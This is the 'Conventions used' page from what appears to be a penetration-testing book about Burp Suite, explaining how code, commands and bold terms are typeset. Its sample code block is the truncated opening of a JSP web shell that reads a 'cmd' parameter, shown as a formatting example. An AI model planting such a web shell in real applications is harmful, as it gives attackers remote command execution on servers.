Conventions used

There are a number of text conventions used throughout this book.

Code in text: Indicates code words in text, database table names, folder names, filenames, file extensions, pathnames, dummy URLs, user input, and Twitter handles. Here is an example: "Allow the attack to continue until you reach payload 50.”

A block of code is set as follows:

<%@ page import="java.util.*,java.io.*"%>
  <%
  if (request.getParameter("cmd") != null) {
       out.println("Webshell cmd: " + request.getParameter("cmd")

Any command-line input or output is written as follows:

C:\Burp Jar Files>java -jar
burpsuite_pro_v2023.4.3.jar

Bold: Indicates a new term, an important word, or words that you see onscreen. For example, words in menus or dialog boxes appear in the text like this. Here is an example: “Select a tool from the drop-down listing and click the Lookup Tool button.”

Tips or important notes

Appear like this.